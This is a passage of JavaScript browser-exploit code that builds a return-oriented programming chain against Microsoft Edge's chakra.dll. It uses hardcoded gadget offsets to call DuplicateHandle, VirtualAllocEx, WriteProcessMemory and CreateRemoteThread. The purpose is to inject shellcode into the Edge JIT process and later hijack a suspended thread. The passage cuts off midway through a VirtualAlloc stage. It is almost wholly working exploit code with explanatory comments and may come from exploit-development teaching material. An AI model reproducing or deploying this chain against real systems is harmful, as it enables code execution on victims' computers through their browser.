write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// CreateRemoteThread() ROP chain
// Stage 4 -> Create a thread within the JIT process, but create it suspended
// This will allow the thread to _not_ execute until we are ready
// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
// We will update the thread later via another ROP chain to call SetThreadContext()

// LPTHREAD_START_ROUTINE lpStartAddress (R9)
// This can be any random data, since it will never be executed
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();

// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
next();

// SIZE_T dwStackSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
next();

// Call KERNELBASE!CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
next();

// WriteProcessMemory() ROP chain (Number 2)
// Stage 5 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress

// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where we will store the thread HANDLE
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetOne, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain (Number 3)
// Stage 6 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetTwo, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// VirtualAlloc() ROP chain
// Stage 7 -> Allocate some local memory to store the CONTEXT structure from GetThreadContext

// DWORD flProtect (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // PAGE_READWRITE (0x4)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// LPVOID lpAddress (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (let VirtualAlloc() decide the address)
next();

// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x000004d0, 0x00000000);             // (0x4d0 bytes)
next();

// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)
